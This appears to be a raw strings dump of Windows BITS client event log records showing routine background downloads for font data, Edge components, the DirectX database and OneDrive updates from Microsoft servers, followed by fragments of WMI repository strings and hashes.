Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer DESKTOP-8GBP982 Security UserID Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational EventData Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Data jobTitle jobId jobOwner processPath processId ClientProcessStartKey Font Download NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational jobName jobId isRoaming Font Download Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational User jobTitle jobId jobOwner fileCount RemoteName LocalName processId ClientProcessStartKey NT AUTHORITY\LOCAL SERVICE Font Download NT AUTHORITY\LOCAL SERVICE https://fs.microsoft.com/fs/windows/config.json \\?\C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational ErrorCode Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational transferId name peer fileTime fileLength bytesTotal bytesTransferred bytesTransferredFromPeer Font Download https://fs.microsoft.com/fs/windows/config.json Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational transferId name peer fileTime fileLength bytesTotal bytesTransferred proxy peerProtocolFlags bytesTransferredFromPeer AdditionalInfoHr PeerContextInfo bandwidthLimit ignoreBandwidthLimitsOnLan Font Download https://fs.microsoft.com/fs/windows/config.json Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational User jobTitle jobId jobOwner fileCount bytesTransferred bytesTransferredFromPeer NT AUTHORITY\LOCAL SERVICE Font Download NT AUTHORITY\LOCAL SERVICE Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational NT AUTHORITY\LOCAL SERVICE Font Download NT AUTHORITY\LOCAL SERVICE https://fs.microsoft.com/fs/windows/fontset-2017-04.json \\?\C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-2.tmp Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download https://fs.microsoft.com/fs/windows/fontset-2017-04.json Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download https://fs.microsoft.com/fs/windows/fontset-2017-04.json Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download https://fs.microsoft.com/fs/windows/fontset-2017-04.json Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download https://fs.microsoft.com/fs/windows/fontset-2017-04.json Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download https://fs.microsoft.com/fs/windows/fontset-2017-04.json Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download https://fs.microsoft.com/fs/windows/fontset-2017-04.json Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download https://fs.microsoft.com/fs/windows/fontset-2017-04.json Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download https://fs.microsoft.com/fs/windows/fontset-2017-04.json Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational User jobTitle jobId jobOwner fileCount processId ClientProcessStartKey NT AUTHORITY\LOCAL SERVICE Font Download NT AUTHORITY\LOCAL SERVICE Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational NT AUTHORITY\LOCAL SERVICE Font Download NT AUTHORITY\LOCAL SERVICE https://fs.microsoft.com/fs/windows/fontset-2017-04.json \\?\C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-3.tmp Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download https://fs.microsoft.com/fs/windows/fontset-2017-04.json Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download https://fs.microsoft.com/fs/windows/fontset-2017-04.json Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download https://fs.microsoft.com/fs/windows/fontset-2017-04.json Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Font Download https://fs.microsoft.com/fs/windows/fontset-2017-04.json Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational NT AUTHORITY\LOCAL SERVICE Font Download NT AUTHORITY\LOCAL SERVICE 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater Windows11\job C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job Edge Component Updater Windows11\job http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/fb6dd03b-99d7-4cc8-a878-91c8e655c2d3?P1=1772218124&P2=404&P3=2&P4=UC7gDRrkf3%2bi%2f8KBW25jsPa2Xt%2f3hbiTr%2fwFPjC2YKTuKOBJkCyy%2bXbr3DqTfu53yp1cqaXxn8IBqG5pXJKRLA%3d%3d C:\Users\job\AppData\Local\Temp\msedgeedge_BITS_7540_617868445\fb6dd03b-99d7-4cc8-a878-91c8e655c2d3 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/fb6dd03b-99d7-4cc8-a878-91c8e655c2d3?P1=1772218124&P2=404&P3=2&P4=UC7gDRrkf3%2bi%2f8KBW25jsPa2Xt%2f3hbiTr%2fwFPjC2YKTuKOBJkCyy%2bXbr3DqTfu53yp1cqaXxn8IBqG5pXJKRLA%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/fb6dd03b-99d7-4cc8-a878-91c8e655c2d3?P1=1772218124&P2=404&P3=2&P4=UC7gDRrkf3%2bi%2f8KBW25jsPa2Xt%2f3hbiTr%2fwFPjC2YKTuKOBJkCyy%2bXbr3DqTfu53yp1cqaXxn8IBqG5pXJKRLA%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job Edge Component Updater Windows11\job Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater Windows11\job C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job Edge Component Updater Windows11\job http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/ddbf4492-d475-4fe4-bcde-6cbac56f6034?P1=1772218124&P2=404&P3=2&P4=A2Pi164Y2klRrb%2f9B6HLF0K24tmqkywSNkz6aWpcwax9IkBDVcXQh4nPDw883zkgW4bJrWte%2fQoSXF5%2fNow8rQ%3d%3d C:\Users\job\AppData\Local\Temp\msedgeedge_BITS_7540_351217543\ddbf4492-d475-4fe4-bcde-6cbac56f6034 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater Windows11\job C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job Edge Component Updater Windows11\job http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/fb6dd03b-99d7-4cc8-a878-91c8e655c2d3?P1=1772216064&P2=404&P3=2&P4=UYwj1Ol91CyoxrkMcnLK13vmxdUmP9%2bHwypiKHx6JBHX5UjyuDa9GaBQScVFB%2bQ7L6Rn1NnYyldJqxWvs5lD0A%3d%3d C:\Users\job\AppData\Local\Temp\msedgeedge_BITS_5604_168875570\fb6dd03b-99d7-4cc8-a878-91c8e655c2d3 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/ddbf4492-d475-4fe4-bcde-6cbac56f6034?P1=1772218124&P2=404&P3=2&P4=A2Pi164Y2klRrb%2f9B6HLF0K24tmqkywSNkz6aWpcwax9IkBDVcXQh4nPDw883zkgW4bJrWte%2fQoSXF5%2fNow8rQ%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational DirectX_Database_Download_AsUser_1.7.9 NT AUTHORITY\SYSTEM C:\Windows\System32\directxdatabaseupdater.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational NT AUTHORITY\SYSTEM DirectX_Database_Download_AsUser_1.7.9 NT AUTHORITY\SYSTEM https://fs.microsoft.com/fs/directxdatabase/1.7.9/DirectXApps.lzma C:\WINDOWS\apppatch\DirectXApps.lzma Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational jobId jobOwner program parameters NT AUTHORITY\SYSTEM C:\WINDOWS\system32\directxdatabaseupdater.exe C:\WINDOWS\system32\directxdatabaseupdater.exe -DatabaseComplete {E2A2CF50-B107-4414-B83B-6673BEDF5BEE} Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON Windows11\job C:\Windows\System32\OneDriveSetup.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job PreSignInSettingsConfigJSON Windows11\job https://g.live.com/odclientsettings/ProdV2 C:\Users\job\AppData\Local\Temp\wctC1D.tmp Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON https://g.live.com/odclientsettings/ProdV2 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON https://g.live.com/odclientsettings/ProdV2 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job PreSignInSettingsConfigJSON Windows11\job Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/ddbf4492-d475-4fe4-bcde-6cbac56f6034?P1=1772218124&P2=404&P3=2&P4=A2Pi164Y2klRrb%2f9B6HLF0K24tmqkywSNkz6aWpcwax9IkBDVcXQh4nPDw883zkgW4bJrWte%2fQoSXF5%2fNow8rQ%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job Edge Component Updater Windows11\job Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/fb6dd03b-99d7-4cc8-a878-91c8e655c2d3?P1=1772216064&P2=404&P3=2&P4=UYwj1Ol91CyoxrkMcnLK13vmxdUmP9%2bHwypiKHx6JBHX5UjyuDa9GaBQScVFB%2bQ7L6Rn1NnYyldJqxWvs5lD0A%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/fb6dd03b-99d7-4cc8-a878-91c8e655c2d3?P1=1772216064&P2=404&P3=2&P4=UYwj1Ol91CyoxrkMcnLK13vmxdUmP9%2bHwypiKHx6JBHX5UjyuDa9GaBQScVFB%2bQ7L6Rn1NnYyldJqxWvs5lD0A%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational DirectX_Database_Download_AsUser_1.7.9 https://fs.microsoft.com/fs/directxdatabase/1.7.9/DirectXApps.lzma Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational DirectX_Database_Download_AsUser_1.7.9 https://fs.microsoft.com/fs/directxdatabase/1.7.9/DirectXApps.lzma Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational DirectX_Database_Download_AsUser_1.7.9 https://fs.microsoft.com/fs/directxdatabase/1.7.9/DirectXApps.lzma Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational DirectX_Database_Download_AsUser_1.7.9 https://fs.microsoft.com/fs/directxdatabase/1.7.9/DirectXApps.lzma Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational NT AUTHORITY\SYSTEM DirectX_Database_Download_AsUser_1.7.9 NT AUTHORITY\SYSTEM Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational DirectX_Database_Download_AsUser_1.7.9 C:\WINDOWS\system32\directxdatabaseupdater.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON Windows11\job C:\Windows\System32\OneDriveSetup.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job PreSignInSettingsConfigJSON Windows11\job https://g.live.com/odclientsettings/ProdV2 C:\Users\job\AppData\Local\Temp\wctAB82.tmp Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON https://g.live.com/odclientsettings/ProdV2 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON https://g.live.com/odclientsettings/ProdV2 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job PreSignInSettingsConfigJSON Windows11\job Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON Windows11\job C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job PreSignInSettingsConfigJSON Windows11\job https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=fa92ee8e4a87a8d47625e6b25322 C:\Users\job\AppData\Local\Temp\wct1F4B.tmp Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=fa92ee8e4a87a8d47625e6b25322 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational UpdateBinary Windows11\job C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job UpdateBinary Windows11\job https://oneclient.sfx.ms/Win/Installers/26.017.0126.0002/amd64/OneDriveSetup.exe C:\Users\job\AppData\Local\Temp\wct2085.tmp Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=fa92ee8e4a87a8d47625e6b25322 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational UpdateBinary https://oneclient.sfx.ms/Win/Installers/26.017.0126.0002/amd64/OneDriveSetup.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job PreSignInSettingsConfigJSON Windows11\job Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational UpdateBinary https://oneclient.sfx.ms/Win/Installers/26.017.0126.0002/amd64/OneDriveSetup.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job UpdateBinary Windows11\job Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON Windows11\job C:\Users\job\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job PreSignInSettingsConfigJSON Windows11\job https://g.live.com/odclientsettings/ProdV2 C:\Users\job\AppData\Local\Temp\wct3A83.tmp Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON https://g.live.com/odclientsettings/ProdV2 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON https://g.live.com/odclientsettings/ProdV2 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job PreSignInSettingsConfigJSON Windows11\job Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational NucleusUpdateRingConfigJSON Windows11\job C:\Users\job\AppData\Local\Microsoft\OneDrive\25.087.0506.0001_1\Microsoft.SharePoint.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job NucleusUpdateRingConfigJSON Windows11\job https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=638fc6bf88e6b3eda69477454db5 C:\Users\job\AppData\Local\Temp\wct4D21.tmp Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/dee7eaef-9590-4350-b0f1-243d31335117?P1=1772217229&P2=404&P3=2&P4=kIkKNE%2fxsOMWnFiXRq6N7FMxMtrc7La0hfT8M%2b%2fhvLVAPKAnaAIcyS6TB6b3JufLY3trhSO4J8ATTDerHzOwNg%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job Edge Component Updater Windows11\job Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON Windows11\job C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job PreSignInSettingsConfigJSON Windows11\job https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=77aeec484829aec16419fab5c8c4 C:\Users\job\AppData\Local\Temp\wct2D07.tmp Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational EventData Data transferId name peer fileTime fileLength bytesTotal bytesTransferred bytesTransferredFromPeer PreSignInSettingsConfigJSON https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=77aeec484829aec16419fab5c8c4 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational transferId name peer fileTime fileLength bytesTotal bytesTransferred proxy peerProtocolFlags bytesTransferredFromPeer AdditionalInfoHr PeerContextInfo bandwidthLimit ignoreBandwidthLimitsOnLan PreSignInSettingsConfigJSON https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=77aeec484829aec16419fab5c8c4 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational User jobTitle jobId jobOwner fileCount bytesTransferred bytesTransferredFromPeer Windows11\job PreSignInSettingsConfigJSON Windows11\job Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational jobTitle jobId jobOwner processPath processId ClientProcessStartKey Edge Component Updater Windows11\job C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational User jobTitle jobId jobOwner fileCount RemoteName LocalName processId ClientProcessStartKey Windows11\job Edge Component Updater Windows11\job http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/0b5ad5b7-8fa8-4d00-b1d0-c0c8919fe195?P1=1772440608&P2=404&P3=2&P4=GSP6dzHpCwobjOJ9r102B4TLdS38KsNDQsnuOdUDFd76qEWPGwSz8kW%2bskFit01YexJ7atqdR7FM0ou5Z5gYbw%3d%3d C:\Users\job\AppData\Local\Temp\msedgeedge_BITS_7388_1998791477\0b5ad5b7-8fa8-4d00-b1d0-c0c8919fe195 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/0b5ad5b7-8fa8-4d00-b1d0-c0c8919fe195?P1=1772440608&P2=404&P3=2&P4=GSP6dzHpCwobjOJ9r102B4TLdS38KsNDQsnuOdUDFd76qEWPGwSz8kW%2bskFit01YexJ7atqdR7FM0ou5Z5gYbw%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/0b5ad5b7-8fa8-4d00-b1d0-c0c8919fe195?P1=1772440608&P2=404&P3=2&P4=GSP6dzHpCwobjOJ9r102B4TLdS38KsNDQsnuOdUDFd76qEWPGwSz8kW%2bskFit01YexJ7atqdR7FM0ou5Z5gYbw%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job Edge Component Updater Windows11\job Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater Windows11\job C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job Edge Component Updater Windows11\job http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/788fa935-2f28-4dfa-81f8-ef0341588055?P1=1772495706&P2=404&P3=2&P4=JwnqT%2bGMlPu3QGQwMBsV1viqQl0LbNpUJErAEYa2bEDFWhWhdLjVH4FBoeJKFZ0sW7D%2f5ADfFqNANR25MDcplA%3d%3d C:\Users\job\AppData\Local\Temp\msedgeedge_BITS_7388_1440798363\788fa935-2f28-4dfa-81f8-ef0341588055 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/788fa935-2f28-4dfa-81f8-ef0341588055?P1=1772495706&P2=404&P3=2&P4=JwnqT%2bGMlPu3QGQwMBsV1viqQl0LbNpUJErAEYa2bEDFWhWhdLjVH4FBoeJKFZ0sW7D%2f5ADfFqNANR25MDcplA%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/788fa935-2f28-4dfa-81f8-ef0341588055?P1=1772495706&P2=404&P3=2&P4=JwnqT%2bGMlPu3QGQwMBsV1viqQl0LbNpUJErAEYa2bEDFWhWhdLjVH4FBoeJKFZ0sW7D%2f5ADfFqNANR25MDcplA%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater Windows11\job C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job Edge Component Updater Windows11\job http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/788fa935-2f28-4dfa-81f8-ef0341588055?P1=1772494665&P2=404&P3=2&P4=T%2bha1aY2ZRqyMK4OTBmAXNJob0C5HcUppcVL7X7N%2f8q8XpujH9EEeYcSgEHOb4fopKTAYyj8nEFVmc69hkfUnQ%3d%3d C:\Users\job\AppData\Local\Temp\msedgeedge_BITS_8444_1526848743\788fa935-2f28-4dfa-81f8-ef0341588055 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/788fa935-2f28-4dfa-81f8-ef0341588055?P1=1772494665&P2=404&P3=2&P4=T%2bha1aY2ZRqyMK4OTBmAXNJob0C5HcUppcVL7X7N%2f8q8XpujH9EEeYcSgEHOb4fopKTAYyj8nEFVmc69hkfUnQ%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/788fa935-2f28-4dfa-81f8-ef0341588055?P1=1772494665&P2=404&P3=2&P4=T%2bha1aY2ZRqyMK4OTBmAXNJob0C5HcUppcVL7X7N%2f8q8XpujH9EEeYcSgEHOb4fopKTAYyj8nEFVmc69hkfUnQ%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job Edge Component Updater Windows11\job Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater Windows11\job C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job Edge Component Updater Windows11\job http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/e8a689a0-0b22-414f-9b05-ec38c305c524?P1=1772224359&P2=404&P3=2&P4=blAVU1uWsspVW%2bNcgVrEUUQvJDF79K2hiEuIryNswgeEOmY%2fuUZ9%2bqA0Yct0GK8ltgQkR0eqbQIpiccarj3Pbw%3d%3d C:\Users\job\AppData\Local\Temp\msedgeedge_BITS_8444_532758314\e8a689a0-0b22-414f-9b05-ec38c305c524 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/e8a689a0-0b22-414f-9b05-ec38c305c524?P1=1772224359&P2=404&P3=2&P4=blAVU1uWsspVW%2bNcgVrEUUQvJDF79K2hiEuIryNswgeEOmY%2fuUZ9%2bqA0Yct0GK8ltgQkR0eqbQIpiccarj3Pbw%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Edge Component Updater http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/e8a689a0-0b22-414f-9b05-ec38c305c524?P1=1772224359&P2=404&P3=2&P4=blAVU1uWsspVW%2bNcgVrEUUQvJDF79K2hiEuIryNswgeEOmY%2fuUZ9%2bqA0Yct0GK8ltgQkR0eqbQIpiccarj3Pbw%3d%3d Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job Edge Component Updater Windows11\job Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON Windows11\job C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job PreSignInSettingsConfigJSON Windows11\job https://g.live.com/odclientsettings/ProdV2 C:\Users\job\AppData\Local\Temp\wct54AF.tmp Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational User jobTitle jobId jobOwner fileCount processId ClientProcessStartKey Windows11\job PreSignInSettingsConfigJSON Windows11\job Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON Windows11\job C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job PreSignInSettingsConfigJSON Windows11\job https://g.live.com/odclientsettings/ProdV2 C:\Users\job\AppData\Local\Temp\wct551C.tmp Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON https://g.live.com/odclientsettings/ProdV2 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational PreSignInSettingsConfigJSON https://g.live.com/odclientsettings/ProdV2 Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational Windows11\job PreSignInSettingsConfigJSON Windows11\job Microsoft-Windows-Bits-Client Microsoft-Windows-Bits-Client/Operational machine.config.default WofCompressedData machine.config WofCompressedData machine.config.default WofCompressedData machine.config WofCompressedData BcdElement BcdElement BcdElement BcdElement BcdElement BcdElement FD1C1D414B71B5082C266A650E31EF6D5019382724244B685F217C0AAE00A921 y41C53E6DB1ACF2453CEFD41398198E613F10DFF47709ECAB1D7F037756AC8CE7 64659AB9F8F1C4B568DB6438BAE11B26EE8F93CB5F8195E21E8C383D6C44CC41 rFD1C1D414B71B5082C266A650E31EF6D5019382724244B685F217C0AAE00A921 y41C53E6DB1ACF2453CEFD41398198E613F10DFF47709ECAB1D7F037756AC8CE7 CIM_ManagedElement CIM_ManagedElement FD1C1D414B71B5082C266A650E31EF6D5019382724244B685F217C0AAE00A921 64659AB9F8F1C4B568DB6438BAE11B26EE8F93CB5F8195E21E8C383D6C44CC41 71140CCD66EDC20B9C2CDF52F3C8373ACA9F966D80A43AD698A5BFCDF51549DD ROOT\cimv2\mdm __MethodProviderRegistration provider NS_390EB45D32F689282408ADA520CE6393A41EC4618EE204AA0FBC32CF2D7469E3\KI_71140CCD66EDC20B9C2CDF52F3C8373ACA9F966D80A43AD698A5BFCDF51549DD\I_8ECEB18F5D5956ADBB92C60B6BBF657386F0BE596CEC9435AABD185EAE1B6B42 E083376FF2F9C4C523A988C92531F9188F5D2764166BDDDE013F24CC5899E85C ROOT\cimv2\mdm __InstanceProviderRegistration provider 